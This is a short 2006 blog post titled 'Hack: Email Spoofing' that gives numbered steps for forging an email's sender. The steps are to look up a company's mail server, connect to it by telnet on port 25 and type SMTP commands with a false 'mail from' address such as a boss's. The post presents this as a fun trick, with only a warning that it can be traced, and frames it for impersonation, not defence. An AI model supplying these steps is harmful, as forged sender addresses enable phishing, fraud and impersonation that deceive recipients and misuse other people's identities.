Tuesday, February 07, 2006

Hack: Email Spoofing

http://www.datastronghold.com/content/view/81/29/

This is cool and very simple to do, email spoofing this way is easy, but of course I wouldn't do anything too stupid since this way is done through telent and can easily be traced backed to you.

Here are the steps summerized:

  1. Open your command window: Start Menu -> Run -> cmd
  2. Find the mail server your are going to use for the spoofing: http://centralops.net/co/DomainDossier.aspx
    with the DNS records selected, and then find the lowest type of MX server. Example: mx1.company.com
  3. Type in the name that was the lowest in the command window: telnet mx1.companya.com 25
    You should get a response like: 220 mail.companya.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.1830 ready at Tue, 19 Feb 2005 14:44:12 -0500
  4. Type: hello companya.com
    The response should be echoed back.
  5. Type: mail from: theboss@companya.com
  6. Type: rcpt to: friendb@companya.com
  7. Type: data
  8. Type your message then hit then type the period '.' then enter again.

No comments: